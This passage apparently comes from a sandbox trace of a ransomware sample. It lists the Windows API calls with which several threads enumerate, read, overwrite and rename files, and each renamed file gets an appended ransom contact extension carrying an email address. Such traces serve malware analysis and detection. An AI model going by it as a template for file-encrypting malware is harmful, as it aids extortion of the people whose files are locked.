0x7b17b2ea [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x260c8be3 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x608c25c2 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x40218ec6 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x41e13936 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x49dc847d [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x3573401c [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x25e61ca7 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x3dc70416 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x46c84d08 [0060.772] ReadFile (in: hFile=0x6b4, lpBuffer=0x19a3b178, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x101cfdf8, lpOverlapped=0x0 | out: lpBuffer=0x19a3b178*, lpNumberOfBytesRead=0x101cfdf8*=0xf8, lpOverlapped=0x0) returned 1 [0060.772] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.772] WriteFile (in: hFile=0x6b4, lpBuffer=0x19a47980*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x101cfdf4, lpOverlapped=0x0 | out: lpBuffer=0x19a47980*, lpNumberOfBytesWritten=0x101cfdf4*=0xf8, lpOverlapped=0x0) returned 1 [0066.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416e0 [0066.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441398 [0066.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441398) returned 1 [0066.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a47980) returned 1 [0066.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a3b178) returned 1 [0066.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0066.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c990) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x43) returned 0x444c30 [0066.365] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.365] WriteFile (hFile=0x6b4, lpBuffer=0x12d7a6a0, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x101cfe5c, lpOverlapped=0x0) Thread: id = 644 os_tid = 0x90c [0050.768] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee478 [0050.768] wcscpy (in: _Dest=0x4ee478, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0050.768] wcscat (in: _Dest=0x4ee478, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0050.768] wcscat (in: _Dest=0x4ee478, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*" [0050.768] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba010 [0050.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440360 [0050.769] wcscmp (_String1=".", _String2=".") returned 0 [0050.769] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.769] wcscmp (_String1="..", _String2=".") returned 1 [0050.769] wcscmp (_String1="..", _String2="..") returned 0 [0050.769] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0050.769] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0050.769] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0050.769] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e022a0 [0050.769] wcscpy (in: _Dest=0x5e022a0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0050.769] wcscat (in: _Dest=0x5e022a0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0050.769] wcscat (in: _Dest=0x5e022a0, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" [0051.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e022a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8 [0051.603] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0051.603] FindClose (in: hFindFile=0x440360 | out: hFindFile=0x440360) returned 1 [0051.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba010) returned 1 [0051.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee478) returned 1 [0051.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d708) returned 1 Thread: id = 645 os_tid = 0x8b0 [0050.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0051.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", dwFileAttributes=0x20) returned 1 [0056.937] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc90 [0056.937] GetFileSizeEx (in: hFile=0xc90, lpFileSize=0x1014fe24 | out: lpFileSize=0x1014fe24*=2578) returned 1 [0056.937] SetFilePointerEx (in: hFile=0xc90, liDistanceToMove=0xa0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.937] ReadFile (in: hFile=0xc90, lpBuffer=0x1014fda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1014fda4, lpOverlapped=0x0 | out: lpBuffer=0x1014fda8*, lpNumberOfBytesRead=0x1014fda4*=0x4, lpOverlapped=0x0) returned 1 [0056.939] SetFilePointerEx (in: hFile=0xc90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb38 [0056.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb10 [0056.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0056.939] NtQuerySystemTime (in: CurrentTime=0x1014fd84 | out: CurrentTime=0x1014fd84*=132174898209168000) returned 0x0 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x6f8b8300 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x405822ad [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x47b974b5 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x3ddeeb39 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x4860c6ad [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x3c8a4b3c [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x74a7a22a [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x872203 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x32a8ea43 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x688ca444 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x6f17c810 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x54cc2e21 [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x2ed1655d [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x178c1bda [0056.939] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x695699a1 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x1025358b [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x4a000bc9 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x76b19d8 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x34117504 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x4f22ea7c [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x414d003f [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x4aad0977 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x6c35450f [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x103a73b0 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x2829b770 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x767f9b8d [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x19b85a21 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x79cd8f90 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x477bd472 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x3f7efc80 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x4b88868 [0056.940] RtlRandomEx (in: Seed=0x1014fd90 | out: Seed=0x1014fd90) returned 0x519a74ca [0056.951] ReadFile (in: hFile=0xc90, lpBuffer=0x19808810, nNumberOfBytesToRead=0xa12, lpNumberOfBytesRead=0x1014fd80, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesRead=0x1014fd80*=0xa12, lpOverlapped=0x0) returned 1 [0056.952] SetFilePointerEx (in: hFile=0xc90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.952] WriteFile (in: hFile=0xc90, lpBuffer=0x9745130*, nNumberOfBytesToWrite=0xa12, lpNumberOfBytesWritten=0x1014fd7c, lpOverlapped=0x0 | out: lpBuffer=0x9745130*, lpNumberOfBytesWritten=0x1014fd7c*=0xa12, lpOverlapped=0x0) returned 1 [0059.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c08 [0059.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d98 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d98) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9745130) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.118] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cee70 [0059.118] SetFilePointerEx (in: hFile=0xc90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.118] WriteFile (in: hFile=0xc90, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1014fde4, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x1014fde4*=0x10b, lpOverlapped=0x0) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d98) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb10) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0062.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x423da8 [0063.374] wcscpy (in: _Dest=0x423da8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0063.374] wcscat (in: _Dest=0x423da8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d" [0063.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1014fd9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.374] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf8) returned 0x41c0b8 [0063.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0063.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.375] NtQueryInformationFile (in: FileHandle=0xc90, IoStatusBlock=0x1014fda8, FileInformation=0x1014fd80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1014fda8, FileInformation=0x1014fd80) returned 0x0 [0063.375] NtSetInformationFile (FileHandle=0xc90, IoStatusBlock=0x1014fda8, FileInformation=0x1014fd80, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.377] FlushFileBuffers (hFile=0xc90) returned 1 [0066.221] CloseHandle (hObject=0xc90) Thread: id = 646 os_tid = 0x8b8 [0050.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Unpo5RFbZfA510NewF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\unpo5rfbzfa510newf.m4a")) returned 0x2020 [0050.770] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Unpo5RFbZfA510NewF.m4a", dwFileAttributes=0x20) returned 1 [0064.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Unpo5RFbZfA510NewF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\unpo5rfbzfa510newf.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x129c [0064.566] GetFileSizeEx (in: hFile=0x129c, lpFileSize=0x955f8d8 | out: lpFileSize=0x955f8d8*=75420) returned 1 [0064.567] SetFilePointerEx (in: hFile=0x129c, liDistanceToMove=0x12698, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.567] ReadFile (in: hFile=0x129c, lpBuffer=0x955f85c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x955f858, lpOverlapped=0x0 | out: lpBuffer=0x955f85c*, lpNumberOfBytesRead=0x955f858*=0x4, lpOverlapped=0x0) returned 1 [0064.567] SetFilePointerEx (in: hFile=0x129c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0064.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9260 [0064.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91c0 [0064.567] NtQuerySystemTime (in: CurrentTime=0x955f838 | out: CurrentTime=0x955f838*=132174898285452000) returned 0x0 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0xca8dc17 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x68053278 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x3a1bea47 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x21e12cbe [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x3cc58f6a [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x430e164e [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x4059548a [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x29838c01 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x1b1992c9 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x567ff4b3 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x6ce4248d [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x1acbfe1 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0xebd6e56 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x3afe091c [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x5d5d4b50 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x6f70b416 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x7c6d55d1 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x6eaaf4ac [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x11ca6178 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x2a135628 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x7b27f78 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x5969b5f9 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x34f78e1c [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x637f8ac5 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x8ab6c2c [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x649dba67 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x1c208624 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x7db1ad59 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x3ed4ffb5 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x4819d796 [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0xc51608c [0064.568] RtlRandomEx (in: Seed=0x955f844 | out: Seed=0x955f844) returned 0x7323698e [0064.580] SetFilePointerEx (in: hFile=0x129c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.580] ReadFile (in: hFile=0x129c, lpBuffer=0x19c74810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x955f818, lpOverlapped=0x0 | out: lpBuffer=0x19c74810*, lpNumberOfBytesRead=0x955f818*=0xc800, lpOverlapped=0x0) returned 1 [0064.580] SetFilePointerEx (in: hFile=0x129c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed52b0 [0064.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0064.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9210) returned 1 [0064.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19b23008 [0064.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0064.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91c0 [0064.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e91c0) returned 1 [0064.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0064.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.585] WriteFile (hFile=0x129c, lpBuffer=0x19b23008, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x955f818, lpOverlapped=0x0) Thread: id = 647 os_tid = 0x938 [0050.771] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uyw19o7fc6tuy.wav")) returned 0x2020 [0050.771] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav", dwFileAttributes=0x20) returned 1 [0064.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uyw19o7fc6tuy.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1298 [0064.586] GetFileSizeEx (in: hFile=0x1298, lpFileSize=0x473f8f4 | out: lpFileSize=0x473f8f4*=95979) returned 1 [0064.586] SetFilePointerEx (in: hFile=0x1298, liDistanceToMove=0x176e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.586] ReadFile (in: hFile=0x1298, lpBuffer=0x473f878, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x473f874, lpOverlapped=0x0 | out: lpBuffer=0x473f878*, lpNumberOfBytesRead=0x473f874*=0x4, lpOverlapped=0x0) returned 1 [0064.587] SetFilePointerEx (in: hFile=0x1298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91c0 [0064.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0064.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9120 [0064.587] NtQuerySystemTime (in: CurrentTime=0x473f854 | out: CurrentTime=0x473f854*=132174898285608000) returned 0x0 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x600a00aa [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x55837384 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0xcfc683d [0064.587] RtlRandomEx (in: 